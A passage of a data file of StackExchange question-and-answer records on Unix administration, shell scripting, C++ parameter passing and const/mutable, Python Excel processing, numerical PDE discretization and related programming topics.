https://github.com/DavidGamba/bin/blob/master/cssh" } { "id": "_unix.21075" , "question": "I know how to set Super_L (WinKey) buttonto open the Menu.gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string Super_LCurrently, in order to close that menu, I am having to mouse click outside the menu area. I need to use the Super_L as a toggle button—pressing one time would open and pressing second time would close.So what I need now is to be able to close it when pressing it second time?" , "title": "GNOME: Use WinKey (Super_L) as a main menu toggle" , "tags": "gnome;keyboard" , "accepted_answer": "(Edit) After having re-read the post and doing a bit more research into the subject, I found out my suggestion is a bit... stupid. But, I'll leave it here in case anyone finds inspiration from it in a similar venture.Try writing as small script called toggle.sh, put it somewhere.if `panel_is_open` close_panelelse open_panelorif [ `cat panel` == on ]; then close_panel echo 'off' > panelelse open_panel echo 'on' > panelfiSomething along those linesThen after --set use /path/to/toggle.sh" } { "id": "_softwareengineering.273469" , "question": "I want my program to:read some input lines from CSV filewrite the output lines to plain string fileread some input from the same file in (2) and compare it to some calculated dataI want to consider these abstraction levels:create Dal interface with CRUD operationsimplement Dal<T1>, Dal<T2>, Dal<T3>create FileHandler interface with read and save operationsimplement CsvFileHandler, StringFileHandlerAnd then:Dal<T1> will implement read with a member of CsvFileHandlerDal<T2> will implement read and write with a member of StringFileHandlerDal<T3> will implement write with a member of StringFileHandlerIs it OK that Dal<T1> and Dal<T3> really implement Dal only partially (not all CRUD). Or should I choose other abstractions?I'm using guice DI and I need to differentiate Dal<T1> and Dal<T2> even though they both read / write type String. So I created a dummy different classes for T1, T2.Do you think I use too much abstraction? Are FileHandler and Dal overlapping?Any other way to differentiate Guice injection rather than create dummyTypes?" , "title": "Do my dal and fileHandler interfaces overlap?" , "tags": "java;interfaces;persistence;google guice" } { "id": "_codereview.128232" , "question": "I've got a simple Excel Data Manipulation Script to match one of my daily tasks, written in python 3. IntroLet's assume that I have 3 excel files: main.xlsx, 1.xlsx and 2.xlsx. In all of them I have a column named serial numbers. I have to:lookup for all serial numbers in 1.xlsx and 2.xlsx and verify if they are in main.xlsx.If a serial number is find:on the last column of main.xlsx, on the same row with the serial number that was find, write OK + name_of_the_file_in which_it_was_found. Else, write NOK. At the same time, write in 1.xlsx and 2.xlsx ok or nok on the last column if the serial number was found or not.Now, my script is simply creating new files with the last column appended (instead of appending directly to the same file), which is ok (but if you guys have a better method, shout it). What I'm looking for, is a way of making this as optimized as possible. I'm not looking for PEP8 comments as I'm aware of them, but I'll handle this part when I'll have this as optimized / improved as possible.Code:import petlmain = petl.fromxlsx('main.xlsx')one = petl.fromxlsx('1.xlsx', row_offset=1)two = petl.fromxlsx('2.xlsx')non_serial_rows = petl.select(main, lambda rec: rec['serial number'] is None)serial_rows = petl.select(main, lambda rec: rec['serial number'] is not None)main_join_one = petl.join(serial_rows, petl.cut(one, ['serial number']), key='serial number')main_join_one_file = petl.addfield(main_join_one, 'file', 'ok, 1.xlsx')main_join_two = petl.join(serial_rows, petl.cut(two, ['serial number']), key='serial number')main_join_two_file = petl.addfield(main_join_two, 'file', 'ok, 2.xlsx')stacked_joins = petl.stack(main_join_two_file, main_join_one_file)nok_rows = petl.antijoin(serial_rows, petl.cut(stacked_joins, ['serial number']), key='serial number')nok_rows = petl.addfield(nok_rows, 'file', 'NOK')output_main = petl.stack(stacked_joins, non_serial_rows, nok_rows)main_final = output_maindef main_compare(table): non_serial_rows = petl.select(table, lambda rec: rec['serial number'] is None) serial_rows = petl.select(table, lambda rec: rec['serial number'] is not None) ok_rows = petl.join(serial_rows, petl.cut(main, ['serial number']), key='serial number') ok_rows = petl.addfield(ok_rows, 'file', 'OK') nok_rows = petl.antijoin(serial_rows, petl.cut(main, ['serial number']), key='serial number') nok_rows = petl.addfield(nok_rows, 'file', 'NOK') return petl.stack(ok_rows, nok_rows, non_serial_rows)one_final = main_compare(one)two_final = main_compare(two)petl.toxlsx(main_final, 'mainNew.xlsx')petl.toxlsx(one_final, '1New.xlsx')petl.toxlsx(two_final, '2New.xlsx')Sample files, can be downloaded from here. (for those who have time to play a lil' bit with the code)." , "title": "Excel Data Manipulation - parse, match and create" , "tags": "python;performance;python 3.x;excel" , "accepted_answer": "From a practical perspective, you should use object-oriented style for calling your transformations. It will reduce the amount of intermediate variables as you will be able to chain calls.From a conceptual perspective you want to apply the same transformations on all 3 files, there is not much differences whether you do it from n.xlsx to main.xlsx or the other way around. You need to:Extract serial numbers from a file;Associate them to a message (filename when used to fill main.xlsx or OK when used to fill n.xlsx);Add a column on an other file whose matching rows contains the messages and others contains NOK.Instead of that you:separate the row into categories (matching, not matching, no serial numbers);add a column to these categories depending on their kind;concatenate back those categories to get the resulting file out of them.The problems you run into doing that are that, for one you change the order of the rows by filtering and stacking back (but that doesn't seem to be an issue), and for two your filtering rules are both clumsy and iterating over the input more than once.The following approach iterates over each file exactly twice (one to extract the serial number/message pairs and one to add the required column) and uses functions to provide a generic approach that can easily be used to handle more files:import petlSERIAL_COLUMN = 'serial_number'def map_serial_to_message(table, message='OK'): return (table .selectisnot(SERIAL_COLUMN, None) .cut(SERIAL_COLUMN) .addfield('file', message))def create_new_column(table, allowed_serial, default_message='NOK'): return table.leftjoin( allowed_serial, key=SERIAL_COLUMN, missing=default_message)if __name__ == '__main__': main = petl.fromxlsx('main.xlsx') one = petl.fromxlsx('1.xlsx', row_offset=1) two = petl.fromxlsx('2.xlsx') files_serial = petl.stack( map_serial_to_message(one, 'OK, 1.xlsx'), map_serial_to_message(two, 'OK, 2.xlsx'), # other files if need be ) main_serial = map_serial_to_message(main) petl.toxlsx(create_new_column(main, files_serial), 'mainNew.xlsx') petl.toxlsx(create_new_column(one, main_serial), '1New.xlsx') petl.toxlsx(create_new_column(two, main_serial), '2New.xlsx')As regard to writing to the original file, you could look into creating the files in memory first and then, once they all are iterated over enough time, write them back. But if files are big, you might be limited by the amount of available memory.This is untested but it could look like:import petlSERIAL_COLUMN = 'serial_number'def map_serial_to_message(table, message='OK'): return (table .selectisnot(SERIAL_COLUMN, None) .cut(SERIAL_COLUMN) .addfield('file', message))def create_new_column(table, *args, default_message='NOK'): try: serials, = args except ValueError: serials = petl.stack(*args) sink = petl.MemorySource() (table .leftjoin(serials, key=SERIAL_COLUMN, missing=default_message) .toxlsx(sink)) return sink.getvalue()def write_to_file(data, filename): with open(filename, 'wb') as f: f.write(data)if __name__ == '__main__': main = petl.fromxlsx('main.xlsx') one = petl.fromxlsx('1.xlsx', row_offset=1) two = petl.fromxlsx('2.xlsx') main_serial = map_serial_to_message(main) # Warning, these may require large amount of memory new_main = create_new_column(main, map_serial_to_message(one, 'OK, 1.xlsx'), map_serial_to_message(two, 'OK, 2.xlsx'), # other files if need be ) new_one = create_new_column(one, main_serial) new_two = create_new_column(two, main_serial) # This is important to write after all transformations write_to_file(new_main, 'main.xlsx') write_to_file(new_one, '1.xlsx') write_to_file(new_two, '2.xlsx')I also changed the way to handle stacking serial-messages pairs from n.xlsx to provide a more automatic alternative." } { "id": "_unix.60375" , "question": "I have an alix board on which I have installed debian4alix (sqeeze). After using it for a while I noticed that the write performance of the board was pretty low. I ran the following test:dd count=100 bs=1M if=/dev/urandom of=/var/www/cgrid/testThis yielded the following:100+0 records in100+0 records out104857600 bytes (105 MB) copied, 328.903 s, 319 kB/sThis is the same speed I get when running the test on the compact flash card that the OS is installed on or on a flash disk. I had tested the flash disk performance on a linux desktop PC and achieved speeds around 15.3 MB/s using the same tests. My read speed on the alix board is around 9MB/s (tested with hdparm -t)I would like to know if the slow write speeds I am receiving is a result of the operating system ( since it is not running directly off the compact flash card but off a ramdisk) or from the embedded hardware solution being really slow." , "title": "Alix Board write performance" , "tags": "debian;performance;embedded;storage" , "accepted_answer": "I am quite certain the board is slower then desktop in terms hardware. But urandom make it worse.The board is using a 500MHz CPU vs 2-3GHz desktop CPU. With if=/dev/urandom, your test is more about how fast the system can handle urandom. You are comparing CPU performance, not I/O.Additionally, if the board only have 256M of ram, the OS may start swapping when creating 100M ram disk file. If that happen, it will have a big hit on test result. Maybe test with 50M file.Use if=/dev/zeroDon't use if=/dev/urandom. It is a very costly call for this test. Instead use if=/dev/zero.Test 1 - Write 100M to diskFollowing is my test result from a virtual machine, also writing 100M.if=/dev/zerojohn@U64D211:~$ time dd count=100 bs=1M if=/dev/zero of=test100+0 records in100+0 records out104857600 bytes (105 MB) copied, 0.493612 s, 212 MB/sreal 0m0.540suser 0m0.020ssys 0m0.516sif=/dev/urandomjohn@U64D211:~$ rm testjohn@U64D211:~$ time dd count=100 bs=1M if=/dev/urandom of=test100+0 records in100+0 records out104857600 bytes (105 MB) copied, 10.8723 s, 9.6 MB/sreal 0m10.909suser 0m0.004ssys 0m10.893sjohn@U64D211:~$ Test 2 - Write 100M to /dev/nullTo show how costly is urandom, lets write to /dev/null, so no writing to disk.if=/dev/zerojohn@U64D211:~$ time dd count=100 bs=1M if=/dev/zero of=/dev/null100+0 records in100+0 records out104857600 bytes (105 MB) copied, 0.0240906 s, 4.4 GB/sreal 0m0.061suser 0m0.012ssys 0m0.052sif=/dev/urandomjohn@U64D211:~$ time dd count=100 bs=1M if=/dev/urandom of=/dev/null100+0 records in100+0 records out104857600 bytes (105 MB) copied, 10.4979 s, 10.0 MB/sreal 0m10.555suser 0m0.024ssys 0m10.513sSo when writing to /dev/null, almost 99% of time is spent by urandom system call.PS1: VM has 4G of ram.PS2: File caching do/may have affect the test result to some extend, but the difference between the if option is so huge that it is safe to ignore caching factor. And the effect should apply to both cases anyway.PS3: I did not average out the test results. But I did run each multiple times with very similar result." } { "id": "_softwareengineering.154080" , "question": "We are crawling and downloading lots of companies' PDFs and trying to pick out the ones that are Annual Reports. Such reports can be downloaded from most companies' investor-relations pages.The PDFs are scanned and the database is populated with, among other things, the:TitleContents (full text)Page countWord countOrientationFirst lineUsing this data we are checking for the obvious phrases such as:Annual reportFinancial statementQuarterly reportInterim reportThen recording the frequency of these phrases and others. So far we have around 350,000 PDFs to scan and a training set of 4,000 documents that have been manually classified as either a report or not.We are experimenting with a number of different approaches including Bayesian classifiers and weighting the different factors available. We are building the classifier in Ruby. My question is: if you were thinking about this problem, where would you start? " , "title": "How to identify a PDF classification problem?" , "tags": "algorithms;ruby" , "accepted_answer": "I think you should match phrase in first few (say 500 words) as normally these report contains information whether they are quarterly or annual in first few pages only(like 1Q2012, FY2012 etc). Along with it you can have words which should not be there in annual report.Much simpler would be to figure out if report is annual or not from the site from where you are downloading this report, so while downloading/crawling only look for this information on the site itself." } { "id": "_unix.280917" , "question": "I am running Xubuntu and have several programs automatically starting when the computer powers up. All the programs starting at once is causing me issues with having the programs talk to each other. Instead, I would like to stage the starting of each program with program A starting first, then five seconds later program B starts and so on. How do I do this?" , "title": "How to delay a program from starting on boot up - Xubuntu" , "tags": "startup;xubuntu" , "accepted_answer": "I would implement it like this (probably not an Xubuntu friendly way, but should work):create a startup script which will start all required program, and make that script the only auto-started program with Xubuntu tools.Script can look like this:#!/bin/shprogram1 &sleep 5program2 &sleep 5program3 &Or like this, which will look better if you have multiple programs to launch:#!/bin/shPROGS=( program1 args program3 program2 # ...)for prog in ${PROGS[@]}; do ${prog} & # no quotes here, because we want to support args sleep 5done" } { "id": "_softwareengineering.149970" , "question": "I feel that I am good at writing code in bits and pieces, but my designs really suck. The question is, how do I improve my designs - and in turn become a better designer?I think schools and colleges do a good job of teaching people how to become good at mathematical problem solving, but let's admit the fact that most applications created at school are generally around 1000 - 2000 lines long, which means that it is mostly an academic exercise which doesn't reflect the complexity of real world software - on the order of a few hundred thousand to millions of lines of code. This is where I believe that even projects like topcoder / project euler also won't be of much help, they might sharpen your mathematical problem solving ability - but you might become an academic programmer; someone who is more interested in the nice, clean stuff, who is utterly un-interested in the day to day mundane and hairy stuff that most application programmers deal with.So my question is how do I improve my design skills? That is, the ability to design small/medium scale applications that will go into a few thousand of lines of code? How can I learn design skills that will help me build a better html editor kit, or some graphics program like gimp?" , "title": "I can write code... but can't design well. Any suggestions?" , "tags": "design;skills" , "accepted_answer": "The only way to become really good at something is to try, fail spectacularly, try again, fail again a little less than before, and over time develop the experience to recognize what causes your failures so that you can manage potential failure situations later on. This is as true of learning to play a musical instrument, drive a car, or earn some serious PWN-age in your favourite first person shooter, as it is of learning any aspect of software development.There are no real shortcuts, but there are things you can do to avoid having problems get out of hand while you are gaining experience. Identify a good mentor. There is nothing better than being able to talk about your issues with someone who has already paid their dues. Guidance is a great way to help fast-track learning.Read, read some more, practice what you've been reading, and repeat for the entire lifetime of your career. I've been doing this stuff for more than 20 years, and I still get a kick out learning something new every day. Learn not just about up front design, but also emergent design, testing, best practices, processes and methodologies. All have varying degrees of impact on how your designs will emerge, take shape, and more importantly, how they last over time.Find time to tinker. Either get involved with a skunkwork project through your workplace, or practice on your own time. This goes hand-in-hand with your reading, by putting your new knowledge into practice, and seeing how such things will work. This is also the stuff that makes for a good discussion with your mentor.Get involved with something technical outside of your workplace. This could be a project, or a forum. Something that will allow you to test out your theories and ideas outside of your immediate circle of peers in order to maintain a fresh perspective on things.Be patient. Recognize that earning experience takes time, and learn to accept that you need to back off for a while in order to learn why and where you have failed.Keep a diary or a blog of your tasks, your thoughts, your failures and your successes. This isn't strictly necessary, however I have found that it can be of great benefit to you to see how you have developed over time, how your skills have grown and your thoughts have changed. I come back to my own journals every few months and look at the stuff I wrote 4-5 years ago. It's a real eye-opener discovering just how much I'd learned in that time. It's also a reminder that I got things wrong from time to time. It's a healthy reminder that helps me improve." } { "id": "_cs.57309" , "question": "Standard (right) regular grammars have three kinds of rules:A <- A <- aA <- a BThis is OK for a theoretical point of view, but a big inconvenience to be usable in practice. A practical regular grammar should allow us to use commodity operators (|,*,+,?,.,(,)), character sets and group multiple rules in a single one. For example, the following regular grammar describes fractional numbers:start <- digit+ dot digit* | digit* dot digit+digit <- [0-9]dot <- '.'The question is, what restrictions must be applied to RHS non-terminals to keep this grammars regular (if it is possible at all)?NOTEQ - Why regular grammars instead of regular expressions?A - Regular expressions are OK for simple languages, but they are write-only for more complex ones. On the other hand, well written extended regular grammars are allot more readable and maintainable and allows us to extend them with captures and rule actions easily." , "title": "Can an (extended) regular grammar have multiple nonterminals in its RHS?" , "tags": "regular languages;formal grammars;regular expressions" } { "id": "_unix.222778" , "question": "I have 2 machines running on Linux. One has ssh2 configured SOURCE and another has ssh1 configured DESTINATION. How do I generate a key pair in SOURCE whose public key can be understood by DESTINATION? Ideally I need to generate a SSH1 key pair using my installed ssh-keygen in a SOURCE." , "title": "How to generate SSH1 key using ssh-keygen for SSH2" , "tags": "ssh keygen" , "accepted_answer": "Generate v1/v2 SSH keys with ssh-keygen -t rsa1 or ssh-keygen -t rsa. Then you can copy your key from SOURCE to DESTINATION (and vice-versa) with ssh-copy-id." } { "id": "_unix.27428" , "question": "I came across the following command:sudo chown `id -u` /somedirand I wonder: what is the meaning of the ` symbol. I noticed for instance that while the command above works well, the one below does not:sudo chown 'id -u' /somedir" , "title": "What does ` (backquote/backtick) mean in commands?" , "tags": "shell;quoting" , "accepted_answer": "This is a backtick. Backtick is not a quotation sign, it has a very special meaning. Everything you type between backticks is evaluated (executed) by the shell before the main command (like chown in your examples), and the output of that execution is used by that command, just as if you'd type that output at that place in the command line.So, what sudo chown `id -u` /somedireffectively runs (depending on your user ID) is:sudo chown 1000 /somedir \\ \\ \\ \\ \\ \\ \\ `-- the second argument to chown (target directory) \\ \\ `-- your user ID, which is the output of id -u command \\ `-- chown command (change ownership of file/directory) `-- the run as root command; everything after this is run with root privilegesHave a look at this question to learn why, in many situations, it is not a good idea to use backticks." } { "id": "_unix.134040" , "question": "I developed one webcam server using my Raspberry Pi and Logitech webcam and Motion library. I'm able to view the stream by using Raspberry Pi's IP. If I use an IP camera instead of a normal webcam, how can I access the stream. Any ideas?" , "title": "Raspberry Pi webcam server streaming via an IP?" , "tags": "raspberry pi;raspbian;camera;motion" , "accepted_answer": "I guess it depends on cameras. In the past, I have successfully done what OP asks by using cameras streaming H.264 over RTP, controlled by RTSP. In order to do this, an RTP client is required in order to access the camera and get a hold of the stream. I have used live555. My first try was with openRTSP from CLI. " } { "id": "_softwareengineering.143578" , "question": "I am Localizing my php application. I have a dilemma on choosing best method to accomplish the same.Method 1: Currently am storing words to be localized in an array in a php file<?php$values = array ( 'welcome' => 'bienvenida' ); ?>I am using a function to extract and return each word according to requirementMethod 2: Should I use a txt file that stores string of the same?<?php$welcome = 'bienvenida'; ?>My question is which is a better method, in terms of speed and effort to develop the same and why?Edit: I would like to know which method out of two is faster in responding and why would that be? also, any improvement on the above code would be appreciated!! " , "title": "Localization in php, best practice or approach?" , "tags": "php;localization" } { "id": "_codereview.32842" , "question": "Wouldn't it be better to always pass parameters by reference to avoid creating unnecessary copies? #include <iostream>void deliver(const std::string& message){ std::cout << message;}void say(const std::string message){ std::cout << message;}int main(){ std::string message = Hello World; deliver(message); /* VS */ say(message); return 0;}If not, why not?Because I'm really starting to think references and pointers are useless.I've been coding in C++ for a year and a half and never even once had to use a reference or pointer.I've made countless programs and just finished making my biggest one ever, a 5000 lines game, divided in 28 separate files without using any of them." , "title": "Passing parameters by reference" , "tags": "c++;reference" , "accepted_answer": "Generally, the order of what you want to pass by looks like this for user-defined classes (ignoring C++11, for the moment):Pass by const&. This should be the default way of passingparameters. Pass by &. If you need to modify the parameter for whatever reason, thenyou'll need to pass a reference or pointer to it. However, you should prefer references to pointers (explained below).Pass by value. Unless you really need to make a copy of the value, there's not much reason to pass by value compared to passing by const&. However, if you're going to be making a copy of the parameter in the function body either way, then you may want to simply pass by value in the first place.For a good example of when explicit pass by value makes sense, see the copy-and-swap idiom.However, this is muddied by a number of considerations:Is the class small? Does it only encapsulate a few (simple) data members? For example, something like a std::pair. In this case, it may actually be better to just pass by value.For fundamental data types (int, char, double, and so on), it's better to simply pass by value. There's no performance benefit to passing by reference, and in fact, it can often be slower.With move semantics in C++11, this advice changes considerably. We now have an extra possibility: pass by rvalue reference (&&). Passing by value and using std::move then becomes a distinct possibility, especially when we want to be explicit about ownership. You may want to read this Stackoverflow post for a bit more information. Dave Abrahms (one of the principle authors of boost) has also written about this topic.I haven't mentioned pointers at all until now. Really, the only difference between references and pointers is that references cannot be null. Sticking to references means that you eliminate a whole host of possible bugs to do with dereferencing null pointers. In modern C++, passing by pointer is rare. In fact, it should always be wrapped up in a stack allocated class that deals with the ownership semantics and eliminates the possibility of resource leaks (say, unique_ptr or shared_ptr). These are then passed by one of the ways mentioned above.Finally, one must use pass by reference or (smart) pointer when using dynamic dispatch - that is, when dealing with inheritance.This post may be far more than you ever wanted to know, but the answer is effectively it depends. Deciding how to pass a parameter requires some actual thought, but boils down to some (subset) of the following considerations:Is it a primitive data type or a class encapsulating only a few primitive datatypes?Does it encapsulate some resource? If so, after the call, who do I want to own the resource?Do I need to modify it in the function I'm passing it to? If so, can I rewrite the function in some way so that I don't have to, as this often makes it more difficult to understand the program.Is inheritance involved? Do I want to be able to pass a derived class where a base class parameter is involved?Am I going to simply make a copy of the parameter in the function body? If so, perhaps passing by value is the best idea (again, see the copy and swap idiom).Should I provide overloads so I can have the option of passing a const reference vs passing an rvalue reference?What will give me the best performance? What is easiest to reason about and maintain?(Note: I realise this isn't really a code review as such. If this is too off topic, feel free to remove it)." } { "id": "_scicomp.23872" , "question": "In order to numerically solve the following differential equation:\\begin{equation} \\text{Fr}\\{f\\} := v(k)\\dfrac{\\partial f(z,k)}{\\partial z} - F(z) \\dfrac{\\partial f(z,k)}{\\partial k} = -\\dfrac{f-f_0}{\\tau}\\end{equation}I have used the finite volume method, and have discretized the left hand side to:\\begin{equation}\\text{Fr}'\\{f\\} := v(k_j)\\Delta k \\Bigg[ f(z_{i+},k_j) - f(z_{i-},k_j) \\Bigg] - F(z_i)\\Delta z \\Bigg[ f(z_{i},k_{j+}) - f(z_{i},k_{j-}) \\Bigg] \\end{equation} for every box.The so-called flux averaging approximation,\\begin{align} & f(z_{i+},k_j) = \\dfrac{f(z_i,k_j)+f(z_{i+1},k_j)}{2} \\\\ & f(z_{i-},k_j) = \\dfrac{f(z_i,k_j)+f(z_{i-1},k_j)}{2}\\end{align}will lead to instability especially if the flux term is weak.This could be avoided by applying the upwind scheme. In this case:\\begin{equation} f(z_{i+},k_j) = \\begin{cases}f(z_{i},k_j) & v(k_j)>0 \\\\f(z_{i+1},k_j) & v(k_j)<0\\end{cases}\\end{equation}\\begin{equation} f(z_{i-},k_j) = \\begin{cases}f(z_{i-1},k_j) & v(k_j)>0 \\\\f(z_{i},k_j) & v(k_j)<0\\end{cases}\\end{equation}I have implemented the above upwinding method, and my results seem accurate for very small values of $F(z_i)$ throughout the system.However, when $F(z_i)$ gets large, the obtained results lose accuracy and deviate from the correct result.The reason to this deviation, I guess, is that the analytical solution to $\\text{Fr}\\{f\\}=0$ is an exponential function. Since the equations are linearly discretized, the discretization cannot follow the large exponential changes accurately.Do you have any idea for increasing the accuracy of the above discretization while holding on to unconditional stability?" , "title": "High order unconditionally stable discretization for a scalar hyperbolic PDE" , "tags": "pde;finite volume;discretization;hyperbolic pde" } { "id": "_unix.386996" , "question": "I am in the process of writing a bash script that will make a POST request to a remote server every time a new file is created in a directory. I use RSYNC to sync several directories to a main directory. The main directory is then being watched by inotifywait which will trigger a script execution when it detects new files. The problem is the way RSYNC is creating the files I read here Rsync temporary file extension that RSYNC uses mktemp which creates file names like .filesynced.x12fj1 but will then rename them to filesynced after it has finished copying.So in my inotifywait bash script I am getting the filenames of the temp files not the filename after it has been renamed. I am wondering if someone can point me in the right direction so that I can get the filename after it has been moved and renamed.#!/bin/bashinotifywait -m -q -e close_write /edi-files | while read path action file; do echo The file '$file' appeared in directory '$path' via '$action' # send contents of $file to api endpoint. doneCRON JOB:*/1 * * * * rsync -avz --no-perms --no-o --no-g --remove-source-files /home/dir3/upload/ /home/dir2/upload/ /home/dir1/upload/ /edi-files/CURRENT OUTPUT:The file '.xxxxxxx1.ATM.8I2mrS' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx2.ATM.MnIMPP' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx3.txt.3FSceN' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'The file '.xxxxxxx4.txt.GoIDCK' appeared in directory '/edi-files/' via 'CLOSE_WRITE,CLOSE'" , "title": "inotifywait and rsync is printing temporary file names" , "tags": "bash;rsync;inotify" } { "id": "_scicomp.8481" , "question": "I'm a huge advocate of test-driven development in scientific computing. It's utility in practice is just staggering, and really alleviates the classic troubles that code developers know. However, there are inherent difficulties in testing scientific codes that aren't encountered in general programming, so TDD texts aren't terribly useful as tutorials. For example:In general you don't know an exact answer for a given complex problem a priori, so how can you write a test?The degree of parallelism changes; I recently encountered a bug where using MPI tasks as a multiple of 3 would fail, but a multiple of 2 worked. Additionally, common testing frameworks don't seem very MPI-friendly due to the very nature of MPI -- you have to re-execute a test binary to alter the number of tasks.Scientific codes often have a lot of tightly coupled, interdependent and interchangeable parts. We've all seen the legacy code, and we know how tempting it is to forgo good design and use global variables.Often a numerical method may be an experiment, or the coder doesn't fully understand how it works and is trying to understand it, so anticipating results is impossible.Some examples of tests that I write for scientific code:For time integrators, use a simple ODE with an exact solution, and test that your integrator solves it to within a given accuracy, and the order of accuracy is correct by testing with varying step sizes.Zero-stability tests: check that a method with 0 boundary/initial conditions remains at 0. Interpolation tests: given a linear function, assure that an interpolation is correct.Legacy validation: isolate a chunk of code in a legacy application that is know to be correct, and pull some discrete values out to use for testing.It still often comes up that I can't figure out how to properly test a given chunk of code, aside from manual trial and error. Can you provide some examples of tests you write for numerical code, and/or general strategies for testing scientific software?" , "title": "Strategies for unit testing and test-driven development" , "tags": "testing" } { "id": "_unix.363934" , "question": "WinSCP 5.5.3 (build 4214)CentOS GNU/Linux 2.6.32-642.15.1.el6.x86_64Login configuration: SCP protocol, port 22, everything else is default.The error:Connection has been unexpectedly closed.Server sent command exit status 254.Error skipping startup message. Your shell is probably incompatible with the application (BASH is recommended).getent on the remote Unix server reports that my login shell is indeed /bin/bash, which does exist with perms 755.I've looked all over the WinSCP help forum for a solution. Nothing there makes any sense - in most cases, I can't even parse the replies to the person having the error.I tried looking up scp server status 254, and found a tip here to turn off PAM (in /etc/ssh/sshd_config, set UsePAM to no). Same error.What more can I do to diagnose this problem?" , "title": "WinSCP closes; server exit status 254; Your shell is probably incompatible with the application" , "tags": "centos;scp" } { "id": "_datascience.14948" , "question": "What is the sizing limitation for Oracle 11g? Can I use it as big data platform? From the following link I understand that there is no limitation for the records, only the columns are bounded to 1000. So if my big data has less than 1000 per table but contains many records can I use Oracle 11g as big data platform?" , "title": "Is Oracle 11g is able to ingest big data?" , "tags": "bigdata" , "accepted_answer": "There is no reason why you cannot use Oracle 11g to create large databases. The 1000-column limit is a theoretical one, not a practical one imo. The theoretical database size limit is in petabytes. You should question why you would want to put that much data in a single database and be prepared to pay for the infrastructure to support it. This is a good summary link - http://awads.net/wp/2010/02/15/oracle-database-limits-you-may-not-know-about/Having administered and tuned dbs of 50TB and more, the limits you should be more concerned with are for query performance. Ask Oracle about licensing as well before you proceed." } { "id": "_webmaster.105970" , "question": "I manage a small brick and mortar business that has a website mainly as advertisement to get people to come to our business in person. How do I get my website to move higher (towards page 1) of google search results for people searching for specific keywords and phrases related to my business and geographic location? We can't afford a proper web designer or IT technician so I'm trying to do as much on my own as possible. Thanks" , "title": "how do I move up in search engine results for specific keywords or phrases?" , "tags": "search;website promotion" } { "id": "_unix.377770" , "question": "I am trying to extract text between specific first match(_ and -). for example, I need to get number 5 from below:MQSeriesRuntime_5-U200491-7.5.0-4.x86_64I tried awk field seperator (awk -F) but thats getting me the entire text after _.can I get help with this please." , "title": "extract text between 2 different matches" , "tags": "linux;awk;sed" } { "id": "_unix.17747" , "question": "As per the following example, and as in my recent question In bash, where has the trailing newline char gone?, I want to know why it happens x=$(echo -ne a\\nb\\n) ; echo -n $x | xxd -p # Output is: 610a62 # The trailing newline from the 'echo' command# has been deleted by Command SubstitutionI assume there must be some very significant reason for a shell action, namely Command Substitution, to actually delete some data from the command output it is substituting...but I can't get my head around this one, as it seems to be the antithesis of what it is supposed to do.. ie. to pass the output of a command back into the script process... Holding back one character seems weird to me, but I suppose there is a sensible reason for it... I'm keen to find out what that reason is..." , "title": "Why does shell Command Substitution gobble up a trailing newline char?" , "tags": "shell;text processing;command substitution" , "accepted_answer": "Because the shell was not originally supposed to be a full programming language.It is quite difficult to remove a trailing \\n from some command output.However, for display purposes almost all commands end their output with \\n, so there has to be a simple way to remove it when you want to use it in another command. Automatic removal with the $() construction was the chosen solution.So, maybe you'll accept this question as an answer:Can you find a simple way to remove the trailing \\n if this was not done automatically in the following command?> echo The current date is $(date), have a good day!Note that quoting is required to prevent smashing of double spaces that may appear in formated dates." } { "id": "_unix.311796" , "question": "I'm having some pretty terrible issues when i connect an external screen with my laptop.Laptop specs:Asus Zenbook UX303UB 13.3 (1920x1080)CPU: i7-6500U, 2.5GHzRAM: 8GB DDR3STORAGE: 256GB SSDGPU: 940M 2 GBLinux Mint 18 KDEWhen i connect the monitor sometimes the taskbar is not on the primary monitor set, also sometimes when i unplug the monitor KDE freezes up (ctrl+alt+f1 still works though) and all i can do is restart or reconnect the external monitor.If i shutdown the laptop and unplug the monitor, on next boot the login screen works fine but when the KDE splash screen gets to about 75% it appears to crash as there is a black screen with a cursor on the edge of the screen (where the 2 screens would meet if the external one is connected) and i can only move it up or down, at this point i can't access anything and the only thing that helps is connecting the external monitor and the laptop screen is unusable. this has happened a few times now and today i wasn't able to fix this, i'm writing this post from Cinnamon desktop which i installed just to be able to use the laptop.Any ideas? " , "title": "Linux Mint 18 KDE external monitor" , "tags": "linux mint;kde" } { "id": "_softwareengineering.334795" , "question": "Consider the following (example) code:class A{private: int *_a;public: A() { /* initialize _a to something */ } ~A() { /* deallocate _a */ } void setA(int i) const { _a[i] = 3; }};This code compiles and will perform as expected (i.e., if you call setA with some input i, it will set the ith element of _a to 3). My concern is with the const modifier attached to the function setA. There is no danger of a compiler error (or worse, undefined behavior) due to this modifier - the class A only contains a pointer to the data that is being modified, not the data itself. With that said, I can't help but feel that using the const modifier for a function that does in fact modify the data that A is in charge of maintaining is wrong, somehow. Am I being oversensitive here, or is this truly bad practice?" , "title": "Declaring a function const when changing member data" , "tags": "c++" , "accepted_answer": "In your example it is probably very bad idea to modify _a[i].Having said that I would like to elaborate a bit more:const is a very useful keyword. If you read some Bjarne's or Scott's books, there is written to use const as often as possible. Moreover changing data in function declared const is not only possible, it is sometimes good practice! Just remember that care is needed when deciding if your case is one of those 'some' times. Why on Earth they would put keyword mutable in C++ if it should not be used?An example (from one of aforementioned authors if I remember correctly) of good usage of mutable:Consider class Polygon:class Polygon{ void calculate_area() { /* we calculate m_area */ } std::vector<Vertex> m_vertexes; double m_area;public: Polygon(std::initializer_list<Vertex> v_list): m_vertexes(v_list) {} double area() const { return m_area; } void add_vertex(Vertex v) { m_vertexes.push_back(v); calculate_area(); }};It is quite straightforaward, isn't it? We don't want to calculate area every time we are asked to return it, so we store its value in m_area member variable and return this variable. Method double area() is const, it doesn't change anything after all. The thing is we have to compute area every time we change our Polygon! Let's say we add a hundred vertexes one by one... A hundred area recalculations! 99 of those totally unnecessary. We want to recalculate only if we are asked to deliver area. So what do we do?We use mutable!class Polygon{ void calculate_area() const { /* we calculate m_area */ m_recalculate_area = false; } std::vector<Vertex> m_vertexes; mutable bool m_recalculate_area = false; mutable double m_area = 0.0;public: Polygon(std::initializer_list<Vertex> v_list): m_vertexes(v_list) { m_recalculate_area = true; } double area() const { if(m_recalculate_area) { calculate_area(); } return m_area; } void add_vertex(Vertex v) { m_vertexes.push_back(v); m_recalculate_area = true; }};The effect is 